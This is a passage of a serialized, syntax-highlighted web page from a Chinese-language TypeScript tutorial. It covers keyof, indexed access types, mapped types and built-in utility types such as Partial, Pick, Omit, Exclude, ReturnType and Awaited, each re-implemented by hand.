'age'\n",[331,104147,104148],{"class":333,"line":357},[331,104149,998],{"emptyLinePlaceholder":997},[331,104151,104152,104154,104156,104158,104160,104162,104165,104167,104169,104171,104173,104175,104177,104179,104181,104183,104185,104187,104189,104191,104193,104195,104197],{"class":333,"line":371},[331,104153,3047],{"class":616},[331,104155,87845],{"class":501},[331,104157,510],{"class":337},[331,104159,75387],{"class":501},[331,104161,409],{"class":337},[331,104163,104164],{"class":501},"K",[331,104166,68378],{"class":616},[331,104168,102100],{"class":616},[331,104170,102172],{"class":501},[331,104172,102175],{"class":337},[331,104174,63125],{"class":2472},[331,104176,1180],{"class":616},[331,104178,102172],{"class":501},[331,104180,409],{"class":337},[331,104182,8230],{"class":2472},[331,104184,1180],{"class":616},[331,104186,104136],{"class":501},[331,104188,1351],{"class":337},[331,104190,1180],{"class":616},[331,104192,102172],{"class":501},[331,104194,2487],{"class":337},[331,104196,104164],{"class":501},[331,104198,104199],{"class":337},"] {\n",[331,104201,104202,104204],{"class":333,"line":384},[331,104203,1633],{"class":616},[331,104205,104206],{"class":337}," obj[key]\n",[331,104208,104209],{"class":333,"line":397},[331,104210,459],{"class":337},[331,104212,104213,104215,104217,104219,104221,104223,104225,104228,104230],{"class":333,"line":418},[331,104214,2608],{"class":501},[331,104216,20596],{"class":337},[331,104218,9298],{"class":365},[331,104220,23135],{"class":337},[331,104222,7993],{"class":344},[331,104224,53904],{"class":337},[331,104226,104227],{"class":365},"'name'",[331,104229,62134],{"class":337},[331,104231,104232],{"class":1003},"\u002F\u002F ✓ 返回类型是 string\n",[331,104234,104235,104237,104239,104241,104243,104246,104248],{"class":333,"line":427},[331,104236,2608],{"class":501},[331,104238,20596],{"class":337},[331,104240,9298],{"class":365},[331,104242,53904],{"class":337},[331,104244,104245],{"class":365},"'nope'",[331,104247,70988],{"class":337},[331,104249,104250],{"class":1003},"\u002F\u002F ✗ 'nope' 不在 keyof 里\n",[11,104252,104253,4809,104255,104258,104259,104261],{},[22,104254,97516],{},[22,104256,104257],{},"extends keyof T"," 约束，让「按名字安全取属性」成为可能——",[22,104260,8230],{}," 只能是真实存在的键名，返回类型还能精确到那个键的值类型。",[53,104263,104265,104266],{"id":104264},"索引访问类型-tk","索引访问类型 ",[22,104267,103693],{},[11,104269,104270,104272,104273,104275],{},[22,104271,103693],{}," 取出「T 里键 K 对应的值类型」，和 ",[22,104274,97516],{}," 是天造地设的一对：",[308,104277,104279],{"className":5205,"code":104278,"language":5207,"meta":314,"style":314},"type UserAge = User['age']       \u002F\u002F number\ntype First = [string, number][0] \u002F\u002F string（元组按位置取）\n",[22,104280,104281,104302],{"__ignoreMap":314},[331,104282,104283,104285,104288,104290,104292,104294,104296,104299],{"class":333,"line":334},[331,104284,3628],{"class":616},[331,104286,104287],{"class":501}," UserAge",[331,104289,957],{"class":616},[331,104291,67810],{"class":501},[331,104293,2487],{"class":337},[331,104295,67251],{"class":365},[331,104297,104298],{"class":337},"]       ",[331,104300,104301],{"class":1003},"\u002F\u002F number\n",[331,104303,104304,104306,104309,104311,104313,104315,104317,104319,104322,104324,104326],{"class":333,"line":341},[331,104305,3628],{"class":616},[331,104307,104308],{"class":501}," First",[331,104310,957],{"class":616},[331,104312,1108],{"class":337},[331,104314,8909],{"class":344},[331,104316,409],{"class":337},[331,104318,62821],{"class":344},[331,104320,104321],{"class":337},"][",[331,104323,628],{"class":344},[331,104325,1114],{"class":337},[331,104327,104328],{"class":1003},"\u002F\u002F string（元组按位置取）\n",[11,104330,104331,104332,104334,104335,104337,104338,655,104341,655,104344,104347],{},"它把「属性名」升级成「类型层面的可计算量」：配合泛型 ",[22,104333,103693],{}," 就是上面 ",[22,104336,2608],{}," 函数精确返回类型的秘密。工具类型 ",[22,104339,104340],{},"Pick",[22,104342,104343],{},"Record",[22,104345,104346],{},"ReturnType"," 全靠这套索引访问搭起来。",[53,104349,104351],{"id":104350},"映射类型入门用键的联合造新类型","映射类型入门：用键的联合造新类型",[11,104353,104354],{},"映射类型是「遍历一个键的联合，逐个生成属性」的语法，一句话就能看出威力：",[308,104356,104358],{"className":5205,"code":104357,"language":5207,"meta":314,"style":314},"type Mutable\u003CT> = {\n  -readonly [K in keyof T]: T[K]     \u002F\u002F 把每个属性去掉 readonly\n}\ntype Readonly2\u003CT> = {\n  readonly [K in keyof T]: T[K]      \u002F\u002F 给每个属性加 readonly\n}\n",[22,104359,104360,104377,104407,104411,104428,104458],{"__ignoreMap":314},[331,104361,104362,104364,104367,104369,104371,104373,104375],{"class":333,"line":334},[331,104363,3628],{"class":616},[331,104365,104366],{"class":501}," Mutable",[331,104368,510],{"class":337},[331,104370,75387],{"class":501},[331,104372,26860],{"class":337},[331,104374,518],{"class":616},[331,104376,1100],{"class":337},[331,104378,104379,104382,104384,104386,104388,104390,104392,104394,104396,104398,104400,104402,104404],{"class":333,"line":341},[331,104380,104381],{"class":616},"  -readonly",[331,104383,1108],{"class":337},[331,104385,104164],{"class":501},[331,104387,63945],{"class":616},[331,104389,102100],{"class":616},[331,104391,102172],{"class":501},[331,104393,93886],{"class":337},[331,104395,1180],{"class":616},[331,104397,102172],{"class":501},[331,104399,2487],{"class":337},[331,104401,104164],{"class":501},[331,104403,98350],{"class":337},[331,104405,104406],{"class":1003},"\u002F\u002F 把每个属性去掉 readonly\n",[331,104408,104409],{"class":333,"line":357},[331,104410,459],{"class":337},[331,104412,104413,104415,104418,104420,104422,104424,104426],{"class":333,"line":371},[331,104414,3628],{"class":616},[331,104416,104417],{"class":501}," Readonly2",[331,104419,510],{"class":337},[331,104421,75387],{"class":501},[331,104423,26860],{"class":337},[331,104425,518],{"class":616},[331,104427,1100],{"class":337},[331,104429,104430,104433,104435,104437,104439,104441,104443,104445,104447,104449,104451,104453,104455],{"class":333,"line":384},[331,104431,104432],{"class":616},"  readonly",[331,104434,1108],{"class":337},[331,104436,104164],{"class":501},[331,104438,63945],{"class":616},[331,104440,102100],{"class":616},[331,104442,102172],{"class":501},[331,104444,93886],{"class":337},[331,104446,1180],{"class":616},[331,104448,102172],{"class":501},[331,104450,2487],{"class":337},[331,104452,104164],{"class":501},[331,104454,102131],{"class":337},[331,104456,104457],{"class":1003},"\u002F\u002F 给每个属性加 readonly\n",[331,104459,104460],{"class":333,"line":397},[331,104461,459],{"class":337},[11,104463,104464,104467,104468,655,104470,104472,104473,655,104475,104477,104478,104481],{},[22,104465,104466],{},"[K in keyof T]"," 读作「对 T 的每个键 K」，后面是这些键在新类型里的形状。加上修饰符开关 ",[22,104469,26123],{},[22,104471,1177],{},"（还能用 ",[22,104474,12714],{},[22,104476,6659],{}," 增删），你能「把一个类型的所有属性整体变换一遍」。",[17,104479,104480],{},"下一章那些内置工具类型，本质全是这里这种映射类型手写的结果","——把这里看明白，第十三章就不是背 API 而是懂原理。",[48,104483,104485],{"id":104484},"十三工具类型逐个拆它们其实都是映射类型","十三、工具类型逐个拆：它们其实都是映射类型",[11,104487,104488,104489,104492],{},"TS 内置了一堆「拿来就用的类型变换」，统称工具类型。它们让日常业务不用每次手写映射。这一章逐个讲用途，并对每个",[17,104490,104491],{},"现场用映射类型手写一遍","，让你看清「它不过是前面那些零件的组装」。",[4748,104494],{"height":14062,"src":104495,"title":104496},"\u002Ftutorials\u002Fts\u002Fdemos\u002F13-utility-types.html","示例 13：工具类型逐个拆——用映射类型手写一遍",[53,104498,104500,1901,104503,1901,104506],{"id":104499},"partialt-requiredt-readonlyt",[22,104501,104502],{},"Partial\u003CT>",[22,104504,104505],{},"Required\u003CT>",[22,104507,104508],{},"Readonly\u003CT>",[11,104510,104511,104512,104514,104515,104517,104518,104520],{},"给所有属性加 ",[22,104513,1177],{}," \u002F 去掉 ",[22,104516,1177],{}," \u002F 加 ",[22,104519,26123],{},"，用于「更新用的部分字段」「把可选补齐」等：",[308,104522,104524],{"className":5205,"code":104523,"language":5207,"meta":314,"style":314},"interface User { id: number; name: string }\ntype Upd = Partial\u003CUser>          \u002F\u002F { id?: number; name?: string }\nfunction updateUser(u: User, patch: Partial\u003CUser>): User { return { ...u, ...patch } }\n\ntype P = Partial\u003C{ a: number; b: string }>   \u002F\u002F { a?: number; b?: string }\n\n\u002F\u002F 手写一遍：\ntype MyPartial\u003CT> = { [K in keyof T]?: T[K] }          \u002F\u002F [K in keyof T]? 就是给每键加 ?\ntype MyRequired\u003CT> = { [K in keyof T]-?: T[K] }        \u002F\u002F -? 去掉可选\ntype MyReadonly\u003CT> = { readonly [K in keyof T]: T[K] } \u002F\u002F 加 readonly\n",[22,104525,104526,104550,104571,104621,104625,104659,104663,104668,104709,104751],{"__ignoreMap":314},[331,104527,104528,104530,104532,104534,104536,104538,104540,104542,104544,104546,104548],{"class":333,"line":334},[331,104529,96572],{"class":616},[331,104531,67810],{"class":501},[331,104533,605],{"class":337},[331,104535,8521],{"class":2472},[331,104537,1180],{"class":616},[331,104539,96507],{"class":344},[331,104541,620],{"class":337},[331,104543,1900],{"class":2472},[331,104545,1180],{"class":616},[331,104547,96819],{"class":344},[331,104549,9413],{"class":337},[331,104551,104552,104554,104557,104559,104562,104564,104566,104568],{"class":333,"line":341},[331,104553,3628],{"class":616},[331,104555,104556],{"class":501}," Upd",[331,104558,957],{"class":616},[331,104560,104561],{"class":501}," Partial",[331,104563,510],{"class":337},[331,104565,68033],{"class":501},[331,104567,18672],{"class":337},[331,104569,104570],{"class":1003},"\u002F\u002F { id?: number; name?: string }\n",[331,104572,104573,104575,104578,104580,104582,104584,104586,104588,104591,104593,104595,104597,104599,104601,104603,104605,104607,104609,104611,104613,104616,104618],{"class":333,"line":357},[331,104574,3047],{"class":616},[331,104576,104577],{"class":501}," updateUser",[331,104579,966],{"class":337},[331,104581,12374],{"class":2472},[331,104583,1180],{"class":616},[331,104585,67810],{"class":501},[331,104587,409],{"class":337},[331,104589,104590],{"class":2472},"patch",[331,104592,1180],{"class":616},[331,104594,104561],{"class":501},[331,104596,510],{"class":337},[331,104598,68033],{"class":501},[331,104600,103907],{"class":337},[331,104602,1180],{"class":616},[331,104604,67810],{"class":501},[331,104606,605],{"class":337},[331,104608,10859],{"class":616},[331,104610,605],{"class":337},[331,104612,9211],{"class":616},[331,104614,104615],{"class":337},"u, ",[331,104617,9211],{"class":616},[331,104619,104620],{"class":337},"patch } }\n",[331,104622,104623],{"class":333,"line":371},[331,104624,998],{"emptyLinePlaceholder":997},[331,104626,104627,104629,104632,104634,104636,104639,104641,104643,104645,104647,104649,104651,104653,104656],{"class":333,"line":384},[331,104628,3628],{"class":616},[331,104630,104631],{"class":501}," P",[331,104633,957],{"class":616},[331,104635,104561],{"class":501},[331,104637,104638],{"class":337},"\u003C{ ",[331,104640,30],{"class":2472},[331,104642,1180],{"class":616},[331,104644,96507],{"class":344},[331,104646,620],{"class":337},[331,104648,22158],{"class":2472},[331,104650,1180],{"class":616},[331,104652,96819],{"class":344},[331,104654,104655],{"class":337}," }>   ",[331,104657,104658],{"class":1003},"\u002F\u002F { a?: number; b?: string }\n",[331,104660,104661],{"class":333,"line":397},[331,104662,998],{"emptyLinePlaceholder":997},[331,104664,104665],{"class":333,"line":418},[331,104666,104667],{"class":1003},"\u002F\u002F 手写一遍：\n",[331,104669,104670,104672,104675,104677,104679,104681,104683,104685,104687,104689,104691,104693,104695,104697,104699,104701,104703,104706],{"class":333,"line":427},[331,104671,3628],{"class":616},[331,104673,104674],{"class":501}," MyPartial",[331,104676,510],{"class":337},[331,104678,75387],{"class":501},[331,104680,26860],{"class":337},[331,104682,518],{"class":616},[331,104684,98630],{"class":337},[331,104686,104164],{"class":501},[331,104688,63945],{"class":616},[331,104690,102100],{"class":616},[331,104692,102172],{"class":501},[331,104694,93886],{"class":337},[331,104696,98429],{"class":616},[331,104698,102172],{"class":501},[331,104700,2487],{"class":337},[331,104702,104164],{"class":501},[331,104704,104705],{"class":337},"] }          ",[331,104707,104708],{"class":1003},"\u002F\u002F [K in keyof T]? 就是给每键加 ?\n",[331,104710,104711,104713,104716,104718,104720,104722,104724,104726,104728,104730,104732,104734,104736,104739,104741,104743,104745,104748],{"class":333,"line":439},[331,104712,3628],{"class":616},[331,104714,104715],{"class":501}," MyRequired",[331,104717,510],{"class":337},[331,104719,75387],{"class":501},[331,104721,26860],{"class":337},[331,104723,518],{"class":616},[331,104725,98630],{"class":337},[331,104727,104164],{"class":501},[331,104729,63945],{"class":616},[331,104731,102100],{"class":616},[331,104733,102172],{"class":501},[331,104735,93886],{"class":337},[331,104737,104738],{"class":616},"-?:",[331,104740,102172],{"class":501},[331,104742,2487],{"class":337},[331,104744,104164],{"class":501},[331,104746,104747],{"class":337},"] }        ",[331,104749,104750],{"class":1003},"\u002F\u002F -? 去掉可选\n",[331,104752,104753,104755,104758,104760,104762,104764,104766,104768,104770,104772,104774,104776,104778,104780,104782,104784,104786,104788,104790,104793],{"class":333,"line":450},[331,104754,3628],{"class":616},[331,104756,104757],{"class":501}," MyReadonly",[331,104759,510],{"class":337},[331,104761,75387],{"class":501},[331,104763,26860],{"class":337},[331,104765,518],{"class":616},[331,104767,605],{"class":337},[331,104769,26123],{"class":616},[331,104771,1108],{"class":337},[331,104773,104164],{"class":501},[331,104775,63945],{"class":616},[331,104777,102100],{"class":616},[331,104779,102172],{"class":501},[331,104781,93886],{"class":337},[331,104783,1180],{"class":616},[331,104785,102172],{"class":501},[331,104787,2487],{"class":337},[331,104789,104164],{"class":501},[331,104791,104792],{"class":337},"] } ",[331,104794,104795],{"class":1003},"\u002F\u002F 加 readonly\n",[11,104797,104798,272,104801,104804],{},[22,104799,104800],{},"-?",[22,104802,104803],{},"-readonly"," 里的减号是「移除该修饰符」，与不写符号（默认加）相对。",[53,104806,104808,1901,104811],{"id":104807},"pickt-k-omitt-k",[22,104809,104810],{},"Pick\u003CT, K>",[22,104812,104813],{},"Omit\u003CT, K>",[11,104815,104816,104818,104819,104822],{},[22,104817,104340],{}," 从 T 里挑几个键，",[22,104820,104821],{},"Omit"," 从 T 里去掉几个键：",[308,104824,104826],{"className":5205,"code":104825,"language":5207,"meta":314,"style":314},"interface Full { id: number; name: string; pwd: string }\ntype Public = Pick\u003CFull, 'id' | 'name'>     \u002F\u002F { id: number; name: string }\ntype NoId = Omit\u003CFull, 'id'>                \u002F\u002F { name: string; pwd: string }\n\ntype MyPick\u003CT, K extends keyof T> = { [P in K]: T[P] }\n\u002F\u002F Omit 依赖第十四章的条件类型 Exclude，这里先给成品：\ntype MyOmit\u003CT, K extends keyof any> = Pick\u003CT, Exclude\u003Ckeyof T, K>>\n",[22,104827,104828,104861,104893,104919,104923,104968,104973],{"__ignoreMap":314},[331,104829,104830,104832,104835,104837,104839,104841,104843,104845,104847,104849,104851,104853,104855,104857,104859],{"class":333,"line":334},[331,104831,96572],{"class":616},[331,104833,104834],{"class":501}," Full",[331,104836,605],{"class":337},[331,104838,8521],{"class":2472},[331,104840,1180],{"class":616},[331,104842,96507],{"class":344},[331,104844,620],{"class":337},[331,104846,1900],{"class":2472},[331,104848,1180],{"class":616},[331,104850,96819],{"class":344},[331,104852,620],{"class":337},[331,104854,75592],{"class":2472},[331,104856,1180],{"class":616},[331,104858,96819],{"class":344},[331,104860,9413],{"class":337},[331,104862,104863,104865,104868,104870,104873,104875,104878,104880,104882,104884,104887,104890],{"class":333,"line":341},[331,104864,3628],{"class":616},[331,104866,104867],{"class":501}," Public",[331,104869,957],{"class":616},[331,104871,104872],{"class":501}," Pick",[331,104874,510],{"class":337},[331,104876,104877],{"class":501},"Full",[331,104879,409],{"class":337},[331,104881,7999],{"class":365},[331,104883,15984],{"class":616},[331,104885,104886],{"class":365}," 'name'",[331,104888,104889],{"class":337},">     ",[331,104891,104892],{"class":1003},"\u002F\u002F { id: number; name: string }\n",[331,104894,104895,104897,104900,104902,104905,104907,104909,104911,104913,104916],{"class":333,"line":357},[331,104896,3628],{"class":616},[331,104898,104899],{"class":501}," NoId",[331,104901,957],{"class":616},[331,104903,104904],{"class":501}," Omit",[331,104906,510],{"class":337},[331,104908,104877],{"class":501},[331,104910,409],{"class":337},[331,104912,7999],{"class":365},[331,104914,104915],{"class":337},">                ",[331,104917,104918],{"class":1003},"\u002F\u002F { name: string; pwd: string }\n",[331,104920,104921],{"class":333,"line":371},[331,104922,998],{"emptyLinePlaceholder":997},[331,104924,104925,104927,104930,104932,104934,104936,104938,104940,104942,104944,104946,104948,104950,104952,104954,104956,104958,104960,104962,104964,104966],{"class":333,"line":384},[331,104926,3628],{"class":616},[331,104928,104929],{"class":501}," MyPick",[331,104931,510],{"class":337},[331,104933,75387],{"class":501},[331,104935,409],{"class":337},[331,104937,104164],{"class":501},[331,104939,68378],{"class":616},[331,104941,102100],{"class":616},[331,104943,102172],{"class":501},[331,104945,26860],{"class":337},[331,104947,518],{"class":616},[331,104949,98630],{"class":337},[331,104951,84729],{"class":501},[331,104953,63945],{"class":616},[331,104955,104136],{"class":501},[331,104957,93886],{"class":337},[331,104959,1180],{"class":616},[331,104961,102172],{"class":501},[331,104963,2487],{"class":337},[331,104965,84729],{"class":501},[331,104967,52908],{"class":337},[331,104969,104970],{"class":333,"line":397},[331,104971,104972],{"class":1003},"\u002F\u002F Omit 依赖第十四章的条件类型 Exclude，这里先给成品：\n",[331,104974,104975,104977,104980,104982,104984,104986,104988,104990,104992,104994,104996,104998,105000,105002,105004,105006,105009,105011,105013,105015,105017,105019],{"class":333,"line":418},[331,104976,3628],{"class":616},[331,104978,104979],{"class":501}," MyOmit",[331,104981,510],{"class":337},[331,104983,75387],{"class":501},[331,104985,409],{"class":337},[331,104987,104164],{"class":501},[331,104989,68378],{"class":616},[331,104991,102100],{"class":616},[331,104993,9486],{"class":344},[331,104995,26860],{"class":337},[331,104997,518],{"class":616},[331,104999,104872],{"class":501},[331,105001,510],{"class":337},[331,105003,75387],{"class":501},[331,105005,409],{"class":337},[331,105007,105008],{"class":501},"Exclude",[331,105010,510],{"class":337},[331,105012,97516],{"class":616},[331,105014,102172],{"class":501},[331,105016,409],{"class":337},[331,105018,104164],{"class":501},[331,105020,105021],{"class":337},">>\n",[11,105023,105024,105026,105027,105029,105030,105033,105034,105036],{},[22,105025,104340],{}," 的映射源是 ",[22,105028,104164],{},"（要保留的键），每键的值取自 ",[22,105031,105032],{},"T[P]","——一句话讲完它的原理。",[22,105035,104821],{}," 是「先算出去掉 K 后剩下的键，再 Pick」。",[53,105038,105040,1901,105043,1901,105046],{"id":105039},"excludet-u-extractt-u-nonnullablet",[22,105041,105042],{},"Exclude\u003CT, U>",[22,105044,105045],{},"Extract\u003CT, U>",[22,105047,105048],{},"NonNullable\u003CT>",[11,105050,105051,105052,105055],{},"作用在",[17,105053,105054],{},"联合类型","上的三个筛选器：",[308,105057,105059],{"className":5205,"code":105058,"language":5207,"meta":314,"style":314},"type A = Exclude\u003C'a' | 'b' | 'c', 'a'>      \u002F\u002F 'b' | 'c'（从 T 里剔除 assignable to U 的）\ntype B = Extract\u003C'a' | 'b' | number, string> \u002F\u002F 'a' | 'b'（只留 assignable to string 的）\ntype C = NonNullable\u003Cstring | null | undefined> \u002F\u002F string（去掉 null\u002Fundefined）\n\ntype MyExclude\u003CT, U> = T extends U ? never : T    \u002F\u002F 条件类型：命中就丢\ntype MyExtract\u003CT, U> = T extends U ? T : never\ntype MyNonNullable\u003CT> = T extends null | undefined ? never : T\n",[22,105060,105061,105094,105126,105154,105158,105195,105229],{"__ignoreMap":314},[331,105062,105063,105065,105067,105069,105072,105074,105076,105078,105080,105082,105085,105087,105089,105091],{"class":333,"line":334},[331,105064,3628],{"class":616},[331,105066,88329],{"class":501},[331,105068,957],{"class":616},[331,105070,105071],{"class":501}," Exclude",[331,105073,510],{"class":337},[331,105075,9298],{"class":365},[331,105077,15984],{"class":616},[331,105079,100728],{"class":365},[331,105081,15984],{"class":616},[331,105083,105084],{"class":365}," 'c'",[331,105086,409],{"class":337},[331,105088,9298],{"class":365},[331,105090,22992],{"class":337},[331,105092,105093],{"class":1003},"\u002F\u002F 'b' | 'c'（从 T 里剔除 assignable to U 的）\n",[331,105095,105096,105098,105100,105102,105105,105107,105109,105111,105113,105115,105117,105119,105121,105123],{"class":333,"line":341},[331,105097,3628],{"class":616},[331,105099,103759],{"class":501},[331,105101,957],{"class":616},[331,105103,105104],{"class":501}," Extract",[331,105106,510],{"class":337},[331,105108,9298],{"class":365},[331,105110,15984],{"class":616},[331,105112,100728],{"class":365},[331,105114,15984],{"class":616},[331,105116,96507],{"class":344},[331,105118,409],{"class":337},[331,105120,8909],{"class":344},[331,105122,26860],{"class":337},[331,105124,105125],{"class":1003},"\u002F\u002F 'a' | 'b'（只留 assignable to string 的）\n",[331,105127,105128,105130,105132,105134,105137,105139,105141,105143,105145,105147,105149,105151],{"class":333,"line":357},[331,105129,3628],{"class":616},[331,105131,103041],{"class":501},[331,105133,957],{"class":616},[331,105135,105136],{"class":501}," NonNullable",[331,105138,510],{"class":337},[331,105140,8909],{"class":344},[331,105142,15984],{"class":616},[331,105144,13865],{"class":344},[331,105146,15984],{"class":616},[331,105148,63400],{"class":344},[331,105150,26860],{"class":337},[331,105152,105153],{"class":1003},"\u002F\u002F string（去掉 null\u002Fundefined）\n",[331,105155,105156],{"class":333,"line":371},[331,105157,998],{"emptyLinePlaceholder":997},[331,105159,105160,105162,105165,105167,105169,105171,105173,105175,105177,105179,105181,105184,105186,105188,105190,105192],{"class":333,"line":384},[331,105161,3628],{"class":616},[331,105163,105164],{"class":501}," MyExclude",[331,105166,510],{"class":337},[331,105168,75387],{"class":501},[331,105170,409],{"class":337},[331,105172,84761],{"class":501},[331,105174,26860],{"class":337},[331,105176,518],{"class":616},[331,105178,102172],{"class":501},[331,105180,68378],{"class":616},[331,105182,105183],{"class":501}," U",[331,105185,2631],{"class":616},[331,105187,97864],{"class":344},[331,105189,2636],{"class":616},[331,105191,102172],{"class":501},[331,105193,105194],{"class":1003},"    \u002F\u002F 条件类型：命中就丢\n",[331,105196,105197,105199,105202,105204,105206,105208,105210,105212,105214,105216,105218,105220,105222,105224,105226],{"class":333,"line":397},[331,105198,3628],{"class":616},[331,105200,105201],{"class":501}," MyExtract",[331,105203,510],{"class":337},[331,105205,75387],{"class":501},[331,105207,409],{"class":337},[331,105209,84761],{"class":501},[331,105211,26860],{"class":337},[331,105213,518],{"class":616},[331,105215,102172],{"class":501},[331,105217,68378],{"class":616},[331,105219,105183],{"class":501},[331,105221,2631],{"class":616},[331,105223,102172],{"class":501},[331,105225,2636],{"class":616},[331,105227,105228],{"class":344}," never\n",[331,105230,105231,105233,105236,105238,105240,105242,105244,105246,105248,105250,105252,105254,105256,105258,105260],{"class":333,"line":418},[331,105232,3628],{"class":616},[331,105234,105235],{"class":501}," MyNonNullable",[331,105237,510],{"class":337},[331,105239,75387],{"class":501},[331,105241,26860],{"class":337},[331,105243,518],{"class":616},[331,105245,102172],{"class":501},[331,105247,68378],{"class":616},[331,105249,13865],{"class":344},[331,105251,15984],{"class":616},[331,105253,63400],{"class":344},[331,105255,2631],{"class":616},[331,105257,97864],{"class":344},[331,105259,2636],{"class":616},[331,105261,105262],{"class":501}," T\n",[11,105264,105265,105267,105268,105271,105272,105274],{},[22,105266,98241],{}," 用在裸类型参数上会",[17,105269,105270],{},"逐个分发","到联合的每个成员（第十四章细讲分发条件类型）——所以 ",[22,105273,105008],{}," 能对联合每一支分别判断。这三个是组合其它工具类型的常用零件。",[53,105276,105278,1901,105280,1901,105283],{"id":105277},"returntype-parameters-constructorparameters",[22,105279,104346],{},[22,105281,105282],{},"Parameters",[22,105284,105285],{},"ConstructorParameters",[11,105287,105288],{},"从一个函数类型里「抠」出返回类型 \u002F 参数元组：",[308,105290,105292],{"className":5205,"code":105291,"language":5207,"meta":314,"style":314},"function make(a: number, b: string): { id: number } { return { id: a } }\ntype R = ReturnType\u003Ctypeof make>       \u002F\u002F { id: number }\ntype P = Parameters\u003Ctypeof make>       \u002F\u002F [number, string]\n\ntype MyReturnType\u003CT extends (...a: any) => any> = T extends (...a: any) => infer R ? R : never\ntype MyParameters\u003CT extends (...a: any) => any> = T extends (...a: infer P) => any ? P : never\n",[22,105293,105294,105335,105357,105377,105381,105445],{"__ignoreMap":314},[331,105295,105296,105298,105300,105302,105304,105306,105308,105310,105312,105314,105316,105318,105320,105322,105324,105326,105328,105330,105332],{"class":333,"line":334},[331,105297,3047],{"class":616},[331,105299,91833],{"class":501},[331,105301,966],{"class":337},[331,105303,30],{"class":2472},[331,105305,1180],{"class":616},[331,105307,96507],{"class":344},[331,105309,409],{"class":337},[331,105311,22158],{"class":2472},[331,105313,1180],{"class":616},[331,105315,96819],{"class":344},[331,105317,1351],{"class":337},[331,105319,1180],{"class":616},[331,105321,605],{"class":337},[331,105323,8521],{"class":2472},[331,105325,1180],{"class":616},[331,105327,96507],{"class":344},[331,105329,103602],{"class":337},[331,105331,10859],{"class":616},[331,105333,105334],{"class":337}," { id: a } }\n",[331,105336,105337,105339,105342,105344,105347,105349,105351,105354],{"class":333,"line":341},[331,105338,3628],{"class":616},[331,105340,105341],{"class":501}," R",[331,105343,957],{"class":616},[331,105345,105346],{"class":501}," ReturnType",[331,105348,510],{"class":337},[331,105350,62850],{"class":616},[331,105352,105353],{"class":337}," make>       ",[331,105355,105356],{"class":1003},"\u002F\u002F { id: number }\n",[331,105358,105359,105361,105363,105365,105368,105370,105372,105374],{"class":333,"line":357},[331,105360,3628],{"class":616},[331,105362,104631],{"class":501},[331,105364,957],{"class":616},[331,105366,105367],{"class":501}," Parameters",[331,105369,510],{"class":337},[331,105371,62850],{"class":616},[331,105373,105353],{"class":337},[331,105375,105376],{"class":1003},"\u002F\u002F [number, string]\n",[331,105378,105379],{"class":333,"line":371},[331,105380,998],{"emptyLinePlaceholder":997},[331,105382,105383,105385,105388,105390,105392,105394,105396,105398,105400,105402,105404,105406,105408,105410,105412,105414,105416,105418,105420,105422,105424,105426,105428,105430,105432,105435,105437,105439,105441,105443],{"class":333,"line":384},[331,105384,3628],{"class":616},[331,105386,105387],{"class":501}," MyReturnType",[331,105389,510],{"class":337},[331,105391,75387],{"class":501},[331,105393,68378],{"class":616},[331,105395,1147],{"class":337},[331,105397,9211],{"class":616},[331,105399,30],{"class":2472},[331,105401,1180],{"class":616},[331,105403,9486],{"class":344},[331,105405,3180],{"class":337},[331,105407,1489],{"class":616},[331,105409,9486],{"class":344},[331,105411,26860],{"class":337},[331,105413,518],{"class":616},[331,105415,102172],{"class":501},[331,105417,68378],{"class":616},[331,105419,1147],{"class":337},[331,105421,9211],{"class":616},[331,105423,30],{"class":2472},[331,105425,1180],{"class":616},[331,105427,9486],{"class":344},[331,105429,3180],{"class":337},[331,105431,1489],{"class":616},[331,105433,105434],{"class":616}," infer",[331,105436,105341],{"class":501},[331,105438,2631],{"class":616},[331,105440,105341],{"class":501},[331,105442,2636],{"class":616},[331,105444,105228],{"class":344},[331,105446,105447,105449,105452,105454,105456,105458,105460,105462,105464,105466,105468,105470,105472,105474,105476,105478,105480,105482,105484,105486,105488,105490,105492,105494,105496,105498,105500,105502,105504,105506],{"class":333,"line":397},[331,105448,3628],{"class":616},[331,105450,105451],{"class":501}," MyParameters",[331,105453,510],{"class":337},[331,105455,75387],{"class":501},[331,105457,68378],{"class":616},[331,105459,1147],{"class":337},[331,105461,9211],{"class":616},[331,105463,30],{"class":2472},[331,105465,1180],{"class":616},[331,105467,9486],{"class":344},[331,105469,3180],{"class":337},[331,105471,1489],{"class":616},[331,105473,9486],{"class":344},[331,105475,26860],{"class":337},[331,105477,518],{"class":616},[331,105479,102172],{"class":501},[331,105481,68378],{"class":616},[331,105483,1147],{"class":337},[331,105485,9211],{"class":616},[331,105487,30],{"class":2472},[331,105489,1180],{"class":616},[331,105491,105434],{"class":616},[331,105493,104631],{"class":501},[331,105495,3180],{"class":337},[331,105497,1489],{"class":616},[331,105499,9486],{"class":344},[331,105501,2631],{"class":616},[331,105503,104631],{"class":501},[331,105505,2636],{"class":616},[331,105507,105228],{"class":344},[11,105509,105510,105512,105513,105516],{},[22,105511,104346],{}," 的写法先用了 ",[22,105514,105515],{},"infer","（第十四章）——「在匹配函数形状时，把返回位置的那段抽出来叫 R」。这里记住结论：这几个工具是「把函数类型当数据来拆零件」。",[53,105518,105520,105523],{"id":105519},"awaitedt扒开-promise-的外壳",[22,105521,105522],{},"Awaited\u003CT>","：扒开 Promise 的外壳",[11,105525,105526,105528,105529,655,105531,105534],{},[22,105527,105522],{}," 递归地剥掉 ",[22,105530,72727],{},[22,105532,105533],{},"thenable"," 外层，拿到最终的值类型，专门配合异步：",[308,105536,105538],{"className":5205,"code":105537,"language":5207,"meta":314,"style":314},"type V = Awaited\u003CPromise\u003CPromise\u003Cstring>>>   \u002F\u002F string（反复剥到底）\n\ntype MyAwaited\u003CT> =\n  T extends PromiseLike\u003Cinfer U>\n    ? T extends PromiseLike\u003CT> ? never : MyAwaited\u003CU>   \u002F\u002F 递归剥\n    : T\n",[22,105539,105540,105570,105574,105589,105607,105641],{"__ignoreMap":314},[331,105541,105542,105544,105547,105549,105552,105554,105556,105558,105560,105562,105564,105567],{"class":333,"line":334},[331,105543,3628],{"class":616},[331,105545,105546],{"class":501}," V",[331,105548,957],{"class":616},[331,105550,105551],{"class":501}," Awaited",[331,105553,510],{"class":337},[331,105555,72727],{"class":501},[331,105557,510],{"class":337},[331,105559,72727],{"class":501},[331,105561,510],{"class":337},[331,105563,8909],{"class":344},[331,105565,105566],{"class":337},">>>   ",[331,105568,105569],{"class":1003},"\u002F\u002F 